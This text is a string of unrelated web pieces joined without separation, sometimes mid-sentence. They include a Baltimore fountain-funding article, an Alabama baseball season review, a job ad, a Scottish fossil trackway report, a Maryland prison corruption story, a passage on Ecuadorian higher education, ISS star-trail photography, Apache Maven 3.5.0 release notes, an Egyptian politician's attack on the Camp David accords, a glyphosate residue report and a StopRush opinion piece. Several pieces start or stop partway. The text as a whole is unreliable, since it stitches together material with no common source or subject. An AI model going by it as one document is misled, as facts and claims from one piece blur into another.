A $300,000 allocation involving economic development bonds from the City of Baltimore, approved at the Board of Estimates level last September, comes with the condition that the work be (in the board’s words) planned and implemented “in conjunction with the Department of Transportation.” DOT has not signed off on the traffic lane realignment strategy.
Some potential state funds were identified before Republican Larry Hogan took office as Maryland’s governor and began reevaluating funding commitments for Baltimore-related projects such as the Red Line light rail system and the redevelopment of State Center.
One potential $250,000 allocation from the Maryland Department of Housing and Community Development is supposed to come from a state fund that housing advocates say was intended to be used in “challenged residential neighborhoods,” not commercial areas such as the Inner Harbor. They say it would not be an appropriate use of state housing department funds.
Other community activists argue that funds allocated to support demolition and replacement of the McKeldin Fountain are funds that won’t go somewhere else in the city or state.
Fowler Objects
Fowler has argued strongly that he doesn’t think his group should be forced to prove it has funding for the entire project before any phase can proceed.
In a memo to members of the Baltimore chapter of the American Institute of Architects, Fowler said the concept “goes far beyond” current real estate practices, economic development principles and existing law.
“Such a proposition is without basis in law, and it has serious repercussions for development projects,” he argued. “In point of fact, developers are not required to provide evidence of funding before initiating a project.
“Along those lines, it might be worthwhile for the AIA to debate whether a developer should be required to commit to building all phases of a project at the same time before the City can issue any permit.
“For example, should Sagamore, in order to tear down the non-historic Walmart in Port Covington, be required to provide evidence of full funding and commit to build all phases of its project at once before it can initiate any construction?
“Such a policy could severely deter development and limit the possibilities for architects to earn a living. Redevelopment of McKeldin Square should not be held to a different standard than other development, particularly since the fountain in McKeldin was deemed not to be an historic structure by CHAP [Baltimore’s Commission for Historical and Architectural Preservation].”
Fowler went on to say that he believes park spaces lend themselves to step by step redevelopment in a way that individual building projects do not.
“There is a compelling argument that park spaces, because of their many components, can be dramatically improved in an incremental fashion, unlike infill sites,” he said.
“The Downtown Partnership’s strong track record with landscape projects proves that phasing is a quite effective strategy... We have employed three of the best architecture firms in Baltimore to design the [McKeldin] project, and every phase of the project will be of the highest quality.”
Bill to Halt Demolition
Despite such assurances by Fowler, the lack of certainty about funding commitments for the fountain’s demolition and replacement – combined with questions about how much money city taxpayers might end up paying for the project – led to the introduction on Monday of City Council legislation that would prevent any changes to the fountain until certain conditions have been met.
The bill, if approved, would prohibit demolition of the fountain until all developments [sic] plans, construction documents and timetables for the proposed modification have been approved and full funding for the proposed modification has been identified.”
The legislation was introduced by Council President Bernard C. “Jack” Young. It was sent to the Judiciary and Legislative Investigations Committee for review and a possible public hearing. If voted favorably in committee, the bill would return to the full Council for a vote.
Young told Council members that he decided to introduce the legislation because he has questions about the project and its backers. Before any work begins, he said, “We want to know how much it is going to cost, how long it’s going to take, who is going to pay for it.”
Mark Reutter contributed to this article.
_______________________________
PART 3 (to come on Monday): Critics of the replacement project worry that what has been proposed so far would not be significantly better than what is there now.How did we get here?
After a 32-26 season with a 15-15 SEC record in 2016 Alabama baseball coach Mitch Gaspard decided to resign after failing to reach the NCAA Tournament for two straight seasons.
Gaspard was head coach for seven seasons, and had a record of 234-193 overall for the Tide and a 94-114 SEC mark. In 2017 Gaspard, one of the finest gentlemen in the game, is the associate head coach at Kansas State University. Gaspard was 42-25 and one pitch away from the College World Series in his first season, and reached regional play in four out of seven seasons. His 2012 team was his least successful with a 21-34 overall record and 9-21 in the SEC. In all the other years his teams won between 32-37 games each year, and were typically right about.500 in SEC play. The 2017 is headed toward a historically bad season, with a 15-26 overall record and a 2-16 SEC record through 41 games. Through 41 games in 2016 the team was 24-17 and 9-9 in conference.
Athletics Director Bill Battle choose Greg Goff from Louisiana Tech to replace Gaspard for the 2017 season. Goff spent two season at La Tech, seven seasons at Campbell and four years at Montevallo as head coach. His 2016 team won 42 games and lost to Mississippi State in Starkville in the regional final. Goff also spent time as an assistant at Kentucky, Southeast Missouri State and Delta State. As a player Goff was a pitcher who played for Jackson State Community College in JUCO for two years and at Delta State for his final two seasons.
Greg Goff’s contract is for $450,000 a year, while Mitch Gaspard was earning $320,000 per year before he stepped down.
Some key players from the 2016 season moved on, either via graduation or the MLB draft. Thomas Burrows was a 4th round draft pick by the Seattle Mariners (since traded to the Atlanta Braves), and left after his junior year as the career saves leader at Alabama with 30. Geoffrey Bramblett, Matt Foster, and Colton Freeman were all junior pitchers that were drafted and choose to leave. Nick Eicholtz was a 13th round draft pick by the Miami Marlins, but decided to come back for his senior season. Catcher Will Haynie was taken in the 18th round by the Colorado Rockies and also left after his junior campaign. Jon Keller, Jake Hubbard and Ray Castillo were senior pitchers that used up their eligibility. Center fielder Georgie Salem graduated as did infielder Daniel Cujen, outfielder Ryan Blanchard and infielder Chance Vincent.
Despite some key departures, the Tide’s pantry wasn’t completely empty: The team returned returned 18 players, including five full-time starters in the field, three starting pitchers and six bullpen arms. Six reserve players also returned.
What Has Gone Right?
To be blunt, very little.
Some improvement in power & average
The hitting has improved somewhat overall. In 2016 the team hit.249 for the season with 30 home runs, 205 walks (3.5 per game), and 446 strikeouts(7.68 per game.) The 2016 group actually hit better in the SEC, with a.253 average and 20 of their 30 home runs. The 2017 is hitting.274 through 41 games with 35 home runs with 158 walks (3.85 per game) and 292 strikeouts (7.12 per game.) In the SEC the 2017 group falls to an average of.233.
Individual improvement
Individually Cody Henry, Chandler Avant and Cobie Vance are having much better seasons this year. Henry, a junior with zero career home runs entering the season, has hit eight long balls this year so far. Henry hit.223 in 2016 but has a.300 batting average with 30 runs driven in 2017 after driving in only 24 in 2016. Vance has improved from.258 as a freshman to a team leading.325 so far in 2017. Avant was hitting.278 in 2016 when he was lost with a broken ankle on April 23rd, and has improved to.306 in 2017 with a team leading 13 doubles. Chandler Taylor was a.274 hitter with nine home runs in 2016, and his hitting.257 with 11 home runs and 26 RBI so far in 2017. Hunter Alexander came in as a junior college transfer and has been a mainstay in the middle of the order until injuring his hand two weeks ago. Alexander is a.298 hitter with four home runs and 25 RBI. Tanner DeVinny has taken over as the primary catcher and leads the team with 24 walks and has four home runs. Kyle Kaufman has played catcher and DH (after hurting his thumb) and is second on the team with a.313 average and has added two home runs.
Some improvement in OBP & scoring
On base percentage has improved to.362 from.337 and slugging is up from.350 to.406. The 2016 team averaged 4.41 runs per game, while the 2017 team scored 5.36 per game.
What Has Gone Wrong?
Well, almost everything else.
Pitching
Pitching, long a strong suit for the Tide, is significantly worse in 2017. The 2016 team had a 3.46 team ERA, good enough for fifth in the SEC, while the 2017 staff has an overall ERA of 4.31. Nick Eicholtz was second in the SEC in ERA in 2016 at 2.30. Jake Walters was seventh in the league at 2.67. In 84 innings in 2016 Walters allowed 79 hits, walked 35 and struck out 84 while allowing opponents to hit.247. Eicholtz tossed 66 innings in 2016 and allowed 57 hits with 22 walks and 38 strikeouts and a.227 batting average allowed. Compare to 2017, Walters has 49 innings with 51 hits, 27 walks and 45 strikeouts. Eicholtz, in 41 innings has allowed 45 hits and has walked 25 with 25 strikeouts. Walters 2017 ERA is 4.04 and Eicholtz sits at 5.49, a major difference for two of top returning pitchers in the SEC.
The 2016 staff had a WHIP (walks and hits per innings pitched) of 1.30 while the 2017 team has a 1.52 WHIP. In 2016 the pitchers walked 3.25 batters per nine innings, compared to 4.6 per nine innings in 2017. Strikeouts have a small up tick in 2017, 8.24 per nine innings, compared to 7.79 in 2016. The 2016 team allowed 484 hits in 514 innings. In 2017 the opposition has 365 hits in 363 innings.
The base running has struggled, with only 21 successful stolen bases in 41 attempts. The 2016 squad was 43-59 on the season. That’s a percentage difference of 72% to 52%. In 2016, with Haynie has the main back stop, opponents stole only 36 out of 55 attempts against the Tide. This season opponents have successfully stolen 40 out of 52 bases. The 2016 team had a total of 45 wild pitches and eight passed balls in 58 games. So far in 41 games the 2017 team has 65 wild pitches and 18 passed balls.
The defense, on paper is showing about the same by fielding percentage. However the loss of Salem in center field and Haynie at catcher has been noticeable. Salem was the latest in a long line of outstanding defensive center fielders from ‘Bama, stretching from Scott McClanahan to Emeel Salem to Alex Kubal to Taylor Dugas to Georgie Salem. Haynie was outstanding and had a cannon for a arm. Vance has been outstanding at second base, and Henry has been a very good first baseman, after moving from DH about half way through the year.
Part of the struggle with the pitching could possibly be a change in philosophy and the way pitches are called. There seems to be a lot more breaking balls and off speed pitches being called, making it harder to throw runners out as well as throw strikes.
Injuries
Sophomore right handed pitcher Brock Love and freshman lefty Garret Rukes were both lost very early in the season to Tommy John surgery. Sophomore pitcher Kyle Cameron was lost early in the year to a medical situation. Freshman catcher Will Lumpkin was lost before the season started to a hand injury. Freshman infielder Camden Bauer had shoulder surgery and was lost for the season. Sophomore outfielder-line backer,Keith Holcombe had a shoulder issue and also football practice, so has been gone from the team for the last month. Senior outfielder Hunter Webb was in line to be a starter, but decided to give up the sport after fall practice. Starting center fielder Gene Wood dislocated his knee cap on April 9th, and has been lost for the remainder of the year. Freshman left handed pitcher Nathan Altstadt has had a hip problem. Alexander tore ligaments in his finger diving into first base on a pick off attempt and has missed the last two weeks, but should be back, possibly next week.
All teams have injuries, including the 2016 addition. All American closer Thomas Burrows missed three weeks with an oblique injury, Eicholtz missed three starts at the first of the year, and Avant missed half the year after breaking his ankle. Those injuries likely cost the 2016 team 3-5 wins and a regional bid.
Alabama is on pace for one of its worst seasons in school history
Losses aren’t just coming from the SEC
The 2016 team played an out of conference schedule that include three game series with Maryland, Houston, and North Dakota as well as games with NC State, Notre Dame, Brown, Southern Miss, South Alabama, Brown, Troy, Samford, Birmingham U, Nicholas State and Alcorn State, which lead to a good RPI.
In 2017, the schedule included the likes of Presbyterian, Oral Roberts, Louisiana Monroe, Arkansas Pine-Bluff, Eastern Illinois, Troy, Southern Miss, Troy, Birmingham, Jacksonville State, Alcorn State and Grambling, of which only Southern Miss was an RPI booster.
Despite that friendly scheduling, the Tide was only able to reach 11-10 in a 21-game season-opening homestand. Alabama has lost to every in-state opponent it has played, except UAB. Still ahead, Alabama travels to Samford and the No. 9 Auburn Tigers. Both of those squads are high-scoring units that devour average pitching. Auburn will make a regional appearance, and Samford is fighting for one.
Alabama has been swept in four SEC series, five overall including Oral Roberts. It has not won a conference series this season and has not notched an SEC win since April 1st. The schedule does not get easier down the stretch: The Tide host the No. 11 LSU Tigers, travel to Samford (a team they lost to 10-3 earlier this season, travel to No. 9 Auburn, host the No. 8 Florida Gators and end their season on the road against Vanderbilt.
The season has been a disaster record-wise, and is on pace to be one of the worse in Alabama’s long, distinguished baseball history. The Tide has an all-time record of 2,561-1,571 a.619 winning percentage. The SEC mark is 936-776,.547%. The 1994 team was 4-22 in the SEC and had an overall record of 21-35. This year’s team will be hard pressed to win 21 games. The lowest winning percentage belongs to the 1906 team at.214- a 4-16-1 record. This year’s team has a winning percentage of.366, the 1994 team’s was.375, a mark that is also in play.
RTR
Bama Baseball Fever...Competitor Running Is Looking For An Editor-in-Chief! Staff / January 23, 2017
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Not the right fit? We’re also looking to fill an Associate Web Editor position, and another Editor-in-Chief position at Women’s Running.The animal was about two metres long and one metre wide
A cast is being made of tracks left by a two-metre long ancient animal in north east Fife. The tracks were made by a giant six-legged "sea scorpion" called Hibbertopterus as it crawled over damp sand about 330 million years ago. It is the largest known walking trackway of a eurypterid or any invertebrate animal. The tracks were discovered by Dr Martin Whyte from the University of Sheffield while he was out walking. Scottish Natural Heritage, which is funding the project, described the find as unique and internationally important because the creature was gigantic. The groove was made by the tail of the animal as it dragged over the sand It said the fossil would be moulded in silicone so that more people could see and research it. Richard Batchelor from Geoheritage Fife, said: "The trackway is in a precarious situation, having been exposed for years to weathering. "The rock in which it occurs is in danger of falling off altogether. "Removing it and housing it in a museum would be prohibitively costly but moulding it in silicone rubber and making copies for educational and research purposes means that we can still see and research this huge creature's tracks in years to come." The animal, which is related to modern-day scorpions and horseshoe crabs, was about two metres long and about one metre wide. 'Geological treasures' The trackway, which is preserved in sandstone, consists of three rows of crescent shaped footprints on each side of a central groove. The groove was made by the tail of the animal as it dragged over the sand. This contrasts previous fossil evidence which suggested that the creatures lived in the water for most, if not all of the time. SNH geologist Colin MacFadyen said: "Helping to conserve this important find is vital for our understanding of this period in evolution. "Such finds as this highlight that all over Scotland there are no doubt other geological treasures awaiting discovery."
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StumbleUpon What are these? E-mail this to a friend Printable versionWASHINGTON (Reuters) - A massive federal racketeering and drug-trafficking case at Maryland’s biggest prison offers a glimpse at the deep roots of corruption that criminal justice experts say grips the U.S. corrections system.
Prosecutors unsealed the indictment of 80 guards, inmates and outsiders this week. It was the biggest federal case ever filed in Maryland, and it highlights the difficulties dogging the tarnished state system despite years of reforms, government officials and prison advocates said.
With a nationwide surge in incarceration in recent years, correctional institutions are struggling to hire enough well-qualified officers to guard the bloated prisoner population.
But the job offers low wages and dangerous working conditions, creating an atmosphere in which corruption can fester.
“With a record number of people in prison, a record number of employees, the possibilities of people becoming tempted to engage in this type of activity are quite widespread,” Marc Mauer, executive director of the Sentencing Project, a nonprofit justice reform group |
in law, previously known as JD Juris Doctor (Doctor en Jurisprudencia) was replaced by the one of abogado (attorney) with the exception of the modification of the number of credits to equate it to an undergraduate degree. In the same fashion for medical school, the required time of education was considerably reduced from nine years (the minimum needed to obtain the title of MD in Medicine and Surgery) to almost five, with the provision that the diploma is not terminal anymore, and it is given with the title of médico (medic). Therefore, an MD or PhD in medicine is only to be obtained overseas until the universities adjust themselves to granting schemes and curriculum as in foreign counterparts. Nonetheless, a "médico" can start a career as family practitioner or general medicine physician.
This new reorganization, although very ambitious, lacked the proper path to the homologation of diplomas for highly educated professionals graduated in the country or even for the ones graduated in foreign institutions. One of the points of conflict was the imposition of obtaining foreign degrees to current academicians. As today, a master's degree is a requirement to keep an academic position and at least a foreign PhD to attain or retain the status of rector (president of a university) or décano (dean). For Ecuadorian researchers and many academicians trained in the country, these regulations sounded illogical, disappointing, and unlawful since it appeared a question of a title name conflict rather than specialization or science advancement.
A debate to modify this and other reforms, especially the one which granted control of the Higher Education System by the government, was practically passed with consensus by the multi-partisan National Assembly on August 4, 2010, but vetoed by President Rafael Correa, who wanted to keep the law strictly as it was originally redacted by his political party and SENPLADES (National Secretary of Planning and Development). Due to this change, there are many highly educated professionals and academicians under the old structure but estimated that only 87% of the faculty in public universities have already obtained a master's degree, and fewer than 5% have a PhD (although many of them already have Ecuadorian-granted doctorate degrees).
About 300 institutes of higher education offer two to three years of post-secondary vocational or technical training.
Sciences and research
Ecuador is currently placed in 96th position of innovation in technology.[116] The most notable icons in Ecuadorian sciences are the mathematician and cartographer Pedro Vicente Maldonado, born in Riobamba in 1707, and the printer, independence precursor, and medical pioneer Eugenio Espejo, born in 1747 in Quito. Among other notable Ecuadorian scientists and engineers are Lieutenant Jose Rodriguez Lavandera,[117] a pioneer who built the first submarine in Latin America in 1837; Reinaldo Espinosa Aguilar (1898–1950), a botanist and biologist of Andean flora; and José Aurelio Dueñas (1880–1961), a chemist and inventor of a method of textile serigraphy.
The major areas of scientific research in Ecuador have been in the medical fields, tropical and infectious diseases treatments, agricultural engineering, pharmaceutical research, and bioengineering. Being a small country and a consumer of foreign technology, Ecuador has favored research supported by entrepreneurship in information technology. The antivirus program Checkprogram, banking protection system MdLock, and Core Banking Software Cobis are products of Ecuadorian development.[118]
The scientific production in hard sciences has been limited due to lack of funding but focused around physics, statistics, and partial differential equations in mathematics.[citation needed] In the case of engineering fields, the majority of scientific production comes from the top three polytechnic institutions: Escuela Superior Politécnica del Litoral - ESPOL, Universidad de Las Fuerzas Armadas - ESPE, and Escuela Politécnica Nacional EPN. The Center for Research and Technology Development in Ecuador is an autonomous center for research and technology development funded by Senecyt.
EPN is known for research and education in the applied science, astronomy, atmospheric physics, engineering and physical sciences. The Geophysics Institute [119] monitors over the country's volcanoes in the Andes Mountains of Ecuador and in the Galápagos Islands, all of which is part of the Ring of Fire. EPN adopted the polytechnic university model that stresses laboratory instruction in applied science and engineering.
The oldest observatory in South America is the Quito Astronomical Observatory and is located in Quito, Ecuador. The Quito Astronomical Observatory, which gives the global community of a Virtual Telescope System that is connected via the Internet and allows the world to watch by streaming, is managed by EPN.
Contemporary Ecuadorian scientists who have been recognized by international institutions are Eugenia del Pino (born 1945), the first Ecuadorian to be elected to the United States National Academy of Science, and Arturo Villavicencio, who was part of the working group of the IPCC, which shared the 2007 Nobel Peace Prize with Al Gore for their dissemination of the effects of climate change.
Currently, the politics of research and investigation are managed by the National Secretary of Higher Education, Science, and Technology (Senescyt).[120]
See also
References
Further readingTo photograph star trails from Earth, simply point your camera and let the Earth rotate, leaving the shutter open.
But our 24 hour period is nothing compared to the ISS astronauts, who circle the entire Earth every 90 minutes at some 17,000 mph (27,000 kph).
In February of 2010, the cupola was delivered and installed, giving astronauts a new view of the Earth. It also gave them the opportunity to experiment with photography.
The first astronaut to take true advantage of this was Don Pettit, who stacked short-exposure photos together to produce the stunning effects of star trails.
My star trail images are made by taking a time exposure of about 10 to 15 minutes. [...] 30 seconds is about the longest exposure possible, due to electronic detector noise effectively snowing out the image. I take multiple 30-second exposures [an amateur astronomer technique], then ‘stack’ them using imaging software, thus producing the longer exposure.
The stationary points are neither the north nor south poles, but rather arbitrary points about the ISS's axis of rotation.
The green and red airglows, yellow city lights and even lightning (in blue) are all visible from this unique vantage point.
Mostly Mute Monday tells the story of a single astronomical phenomenon or object in pictures and other visuals, with no more than 200 words of text.The Apache Maven team would like to announce the release of Apache Maven 3.5.0. You can download the appropriate sources etc. from the download page http://maven.apache.org/download.cgi Notable changes =============== - ANSI colors added to the console output - Fix various bugs in mvn scripts regarding spaces, quotations, special characters, etc. also in combination with.mvn/ -files - Switch from Eclipse Aether to Maven Artifact Resolver What happened to Maven 3.4.0? ============================= After Maven 3.3.9 was released, the Eclipse Aether project was retired and the code base was migrated to the Apache Maven project. The original goal for the 3.4.0 release was to replace Aether with the exact same code after migration to the Apache Maven project and then proceed with bug fixes to the resolver code as well as other areas of Maven. The migration of the code between the two foundations took longer than expected and as a result there were other changes committed to Maven core that were outside the scope of intent for 3.4.0. In order to refocus on the original intent for 3.4.0, the decision was taken to revert the Maven core history to the point of the 3.3.9 release and merge in the desired changes one at a time. Because there had been a lot of communication about different features being delivered and bugs fixed in Maven 3.4.0 and the new history may not contain them in the first release, the decision was taken to forever burn the 3.4.x release line. More detail on this decision can be read in the mailing list archive[1]. Contributors ============ The Apache Maven team would like to thank the following contributors, without whom this release would not have been possible: Code contributors: - Alex Henrie - Andriy - Archimedes Trajano - Arlo Louis O'Keeffe - August Shi - Christoph Böhme - Harald Wellmann - Jason Dillon - Joseph Walton - Josh Soref - Miriam Lee - Nemo Chen - Sébastian Le Merdy - Stuart McCulloch - Tobias Oberlies - Robert Patrick Issue reporters: - Alex Henrie - Andreas Sewe - Andrew Haines - Andriy - Anthony Whitford - Archimedes Trajano - August Shi - Ben Caradoc-Davies - Christoph Böhme - Daniel Spilker - Falko Modler - Fred Bricon - Harald Wellmann - Jeffrey Alexander - Josh Soref - Kengo TODA - Konrad Windszus - Laird Nelson - Larry Singer - Meytal Genah - Mike Drob - Miriam Lee - Nemo Chen - Peter Kjær Guldbæk - Rahul Thakur - Richard Raumberger - Stuart McCulloch - Tobias Oberlies - Zac Thompson Community testers participating in voting for this release series: - Grzegorz Grzybek - Petr Široký - Mark Derricutt, - Dejan Stojadinović - Thomas Collignon - Fred Cooke - Raphael Ackermann - Elliot Metsger - Chas Honton - Dennis Kieselhorst The Apache Maven Project Management Committee would also like to thank all the committers to the project for their efforts during the chaos that was the great reset when the 3.4.x release lines were burned. Release Notes - Maven - Version 3.5.0 ===================================== Bugs: * [MNG-5297] - Site should tell 'prerequisites.maven is deprecated' * [MNG-5368] - UnsupportedOperationException thrown when version range is not correct in dependencyManagement definitions * [MNG-5629] - ClosedChannelException from DefaultUpdateCheckManager.read * [MNG-5815] - "mvn.cmd" does not indicate failure properly when using "&&" * [MNG-5823] - mvnDebug doesn't work with M2_HOME with spaces - missing quotes * [MNG-5829] - mvn shell script fails with syntax error on Solaris 10 * [MNG-5836] - logging config is overridden by $M2_HOME/lib/ext/*.jar * [MNG-5852] - mvn shell script invokes /bin/sh but requires Bash functions * [MNG-5895] - Problem with CI friendly usage of ${..} which is already defined via property in pom file. * [MNG-5958] - java.lang.String cannot be cast to org.apache.maven.lifecycle.mapping.LifecyclePhase * [MNG-5961] - Maven possibly not aware of log4j2 * [MNG-5962] - mvn.cmd fails when the current directory has spaces in between * [MNG-5963] - mvn.cmd does not return ERROR_CODE * [MNG-6022] - mvn.cmd fails if directory contains an ampersand (&) * [MNG-6053] - Unsafe System Properties copy in MavenRepositorySystemUtils, causing NPEs * [MNG-6057] - Problem with CI friendly usage of ${..} reactor order is changed * [MNG-6090] - CI friendly properties break submodule builds * [MNG-6105] - properties.internal.SystemProperties.addSystemProperties() is not really thread-safe * [MNG-6109] - PluginDescriptor doesn't read since value of parameter * [MNG-6117] - ${session.parallel} not correctly set * [MNG-6144] - DefaultWagonManagerTest#testGetMissingJarForced() passed incorrect value * [MNG-6166] - mvn dependency:go-offline fails due to missing transitive dependency jdom:jdom:jar:1.1 * [MNG-6168] - Fix unclosed streams * [MNG-6170] - NPE in cases using Multithreaded -T X versions:set -DnewVersion=1.0-SNAPSHOT * [MNG-6171] - REGRESSION: WARNING about usage of a non threadsafe marked plugin is not showed anymore * [MNG-6172] - Precedence of command-line system property options has changed * [MNG-6173] - MavenSession.getAllProjects() should return all projects in the reactor * [MNG-6176] - Javadoc errors prevent release with Java 8 * [MNG-6177] - The --file command line option of the Windows and Unix launchers does not work for directory names like "Spaces & Special Char" * [MNG-6180] - groupId has plain color when goal fails * [MNG-6181] - HttpClient produces a lot of noise at debug loglevel * [MNG-6183] - Dependency management debug message corrections. * [MNG-6190] - maven-resolver-provider's DefaultArtifactDescriptorReader has mismatched constructor and initService methods * [MNG-6191] - mvn -f complains about illegal readlink option under macOS * [MNG-6192] - distribution zip file has unordered entries * [MNG-6195] - Use consistent quoting forms in mvn launcher script * [MNG-6198] - mvn script fails to locate.mvn directory when pom location specified with -f Dependency upgrades: * [MNG-5967] - Dependency updates * [MNG-6110] - Upgrade Aether to Maven Resolver Improvements: * [MNG-5579] - Unify error output/check logic from shell and batch scripts * [MNG-5607] - Don't use M2_HOME in mvn shell/command scripts anymore * [MNG-5883] - Silence unnecessary legacy local repository warning * [MNG-5889] -.mvn directory should be picked when using --file * [MNG-5904] - Remove the whole Ant build * [MNG-5931] - Fixing documentation * [MNG-5934] - String handling issues identified by PMD * [MNG-5946] - Fix links etc. in README.txt which is part of the delivery * [MNG-5968] - Default plugin version updates * [MNG-5975] - Use Java 7's SimpleDateFormat in CLIReportingUtils# formatTimestamp * [MNG-5977] - Improve output readability of our MavenTransferListener implementations * [MNG-5993] - Confusing error message in case of missing/empty artifactId and version in pluginManagement * [MNG-6001] - Replace %HOME% with %USERPROFILE% in mvn.cmd * [MNG-6003] - Drastically reduce JAVA_HOME discovery code * [MNG-6014] - Removing ArtifactHandler for ejb3 * [MNG-6017] - Removing ArtifactHandler for par LifeCycle * [MNG-6030] - ReactorModelCache do not used effectively after maven version 3.0.5 which cause a large memory footprint * [MNG-6032] - WARNING during build based on absolute path in assembly-descriptor. * [MNG-6068] - Document default scope compile in pom XSD and reference documentation * [MNG-6078] - Can't overwrite properties which have been defined in.mvn/maven.config * [MNG-6081] - Log refactoring - Method Invocation Replaced By Variable * [MNG-6102] - Introduce ${maven.conf} in m2.conf * [MNG-6115] - Add Jansi native library search path to our start scripts to avoid extraction to temp file on each run * [MNG-6145] - Remove non-existent m2 include in component.xml * [MNG-6146] - Several small stylistic and spelling improvements to code and documentation * [MNG-6147] - MetadataResolutionResult#getGraph() contains duplicate if clause * [MNG-6150] - Javadoc improvements for 3.5.0 * [MNG-6163] - Introduce CLASSWORLDS_JAR in shell startup scripts * [MNG-6165] - Deprecate and replace incorrectly spelled public API * [MNG-6179] - Remove unused prerequisites * [MNG-6185] - Replace doclettag explanation with annotations in AbstractMojo javadoc * [MNG-6189] - WARN if maven-site-plugin configuration contains reportPlugins element New Features: * [MNG-3507] - ANSI color logging for improved output visibility * [MNG-5878] - add support for module name!= artifactId in every calculated URLs (project, SCM, site): special project.directory property * [MNG-6093] - create a slf4j-simple provider extension that supports level color rendering * [MNG-6182] - ModelResolver interface enhancement: addition of resolveModel( Dependency ) supporting version ranges Tasks: * [MNG-5954] - Remove outdated maven-embedder/src/main/ resources/META-INF/MANIFEST.MF * [MNG-6106] - Remove maven.home default value setter from m2.conf * [MNG-6136] - Upgrade Maven Wagon from 2.10 to 2.12 * [MNG-6137] - Clean up duplicate dependencies caused by incomplete Wagon HTTP Provider exclusions * [MNG-6138] - Remove obsolete message_*.properties form maven-core * [MNG-6140] - update documentation's dependency graph with resolver + resolver-provider + slf4j-provider * [MNG-6151] - Force Push master from 737de43e392fc15a0ce366db98d70a a18b3f6c03 * [MNG-6152] - Add a Jenkinsfile so that builds.apache.org can use multibranch pipeline Wishes: * [MNG-2199] - Support version ranges in parent elements * [MNG-6088] - after forked execution success, add an empty line * [MNG-6092] - warn if prerequisites.maven is used for non-plugin projects Enjoy, - The Apache Maven team [1]: http://www.mail-archive.com/dev@maven.apache.org/msg112103.htmlEgypt’s peace accord with Israel is “a mark of shame upon the Egyptian people” and must be amended, a media adviser for Egypt’s Freedom and Justice Party, the political movement of Muslim Brotherhood, said Thursday.
Ahmed Subei told Al-Alam Iranian TV that Egypt should reexamine “everything to do with… sovereignty over its land,” and claimed that increased instances of hepatitis, cancer and kidney infections in his country were are all results of the Camp David accords.
Subei made the comments in an August 22 broadcast, and his comments were translated by the Middle East Media Research Institute. He also voiced support for the liberation of Palestine and for Palestinian “resistance.”
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The accords were the basis for the 1979 Israel-Egypt peace agreement and Israel’s subsequent withdraw from the Sinai Peninsula.
“This agreement has been a heavy burden upon the Egyptian people, undermining Egypt’s sovereignty. It has even undermined projects for the development of the Sinai. Therefore, it is an unjust and unfair agreement, which has isolated Egypt from its Arab and Islamic environs, and from the pan-Arab effort to liberate the land of Palestine, and to support Palestinian resistance,” Subei said.
Subei connected the peace agreement and Israel with “endemic diseases” in Egypt. “In addition, carcinogenic pesticides were imported from the Zionist entity, and Egyptian agriculture was made available to the Zionist entity. This led to the destruction of various sectors in Egypt.
“Egypt now suffers from endemic diseases, such as various types of cancer, hepatitis, and kidney infections. All these and other diseases are the result of the carcinogenic pesticides, which were brought here along with that agreement.”
Said Subei: “Indeed, this is an unjust agreement that requires the reexamination of everything to do with Egypt’s sovereignty over its land.”
Subei has worked as managing editor of the Muslim Brotherhood’s official news website, and served as the Freedom and Justice Party’s media consultant when the Muslim Brotherhood was selecting Mohammed Morsi, who went on to win the elections, as its presidential candidate.(Reuters) - U.S. regulators may start testing food products for residues of the world’s most widely used herbicide, the Environmental Protection Agency told Reuters on Friday, as public concern rises over possible links to disease.
Glyphosate, the active ingredient in Roundup herbicide, has come under intense scrutiny since a research unit of the World Health Organization reported last month it was classifying glyphosate as “probably carcinogenic to humans.”
The herbicide is considered safe by the EPA, as well as many foreign regulatory agencies, including in the European Union.
Still, a number of companies, consumer groups and advocacy organizations have been sampling foods, as well as human urine and breast milk, to try to determine the pervasiveness of glyphosate residues.
Glyphosate is used on corn, soybeans, sugar beets and other crops genetically altered to withstand it. It is also used by farmers growing wheat and other crops. Its use has surged with the advancement of genetically engineered crops.
The U.S. government, which annually tests thousands of foods for pesticide residues, does not test for glyphosate, in part because it has been considered safe.
That could change, the EPA said in a statement Friday.
“Given increased public interest in glyphosate, EPA may recommend sampling for glyphosate in the future,” the agency said in an email response to a Reuters inquiry.
Monsanto Co, the maker of Roundup, on April 1 posted a blog seeking to reassure consumers about glyphosate residues, saying trace amounts are safe. It did not immediately respond to a request for comment.
The EPA said the ultimate decision rests with the U.S. Department of Agriculture and its Pesticide Data Program. In the past, the EPA had advised the USDA that “glyphosate residues do not pose a risk to human health,” the EPA said.
However, USDA spokesman Peter Wood said the “EPA makes the determination which commodities and pesticides are tested.” He said that sampling is based on EPA “data needs” and EPA has so far not requested glyphosate testing on any commodity.
Both agencies said that testing for glyphosate residues would be more costly than for other pesticides.
Since 1991, the USDA’s testing program has tested thousands of food samples each year for residues. It informs the USDA whether residues exceed tolerance levels for the pesticides set by the EPA.
In 2013, the USDA tested for about 400 different pesticides on a variety of foods as well as in groundwater and drinking water.
Only in one year, 2011, did the agency conduct testing for glyphosate. Those tests, on 300 soybean samples, found 271 of the samples had residues. All of them fell below the EPA-set tolerance level of 20 parts per million, with residues ranging from 0.26 to 18.5 ppm.
(This version of the story corrects the title for Peter Wood in the 11th paragraph)For well over two years, many people have been working online through social media to engage Rush Limbaugh's sponsors and encourage them to drop their sponsorship of Limbaugh's show. Their message is simple: When they sponsor Limbaugh, they sponsor hate.
They've been effective. They listen to the show, they take note of the sponsors, and they reach out and ask them whether they realize they're sponsoring hate radio. They encourage them to drop their sponsorships, but if the sponsor chooses not to, they will choose not to do business with that sponsor.
This is not a project undertaken by just a few people. This is a movement organized on Facebook and Twitter, dedicated to seeing hate radio become a dying breed. They believe that hate radio poisons our politics and creates an atmosphere of extremism.
This has Rush Limbaugh very worried. So worried, in fact, that he has chosen to unleash his hired crisis consultant, Brian Glicklich, on the ordinary people who are dedicated to continuing the effort.
On Tuesday, Glicklich mounted a media blitz against 10 people who are associated with the StopRush effort, and who chose to use pseudonyms online because they saw what happened to those of us who stepped up in the beginning and used our real names. He didn't just smear them. He published their full names, cities of residence, Facebook account names, and some "fun facts" about them.
He then shopped the Rush article to The Blaze, Daily Caller, Fox News' The Five, and more*. The first two helpfully assisted with publishing the information and getting the word out so that these ordinary people could be exposed to the special kind of harassment by Rush followers that was rained down on me and others in the earliest days of the StopRush effort.
Hate speech, you see, is something Rush and his followers value highly, and it is not to be opposed in any way. They fail to understand the nuance of the StopRush effort; that is, that we acknowledge Limbaugh's freedom to spew all the hate he wants over the airwaves, but we are not obligated to patronize the sponsors who pay to keep him there.
↓ Story continues below ↓
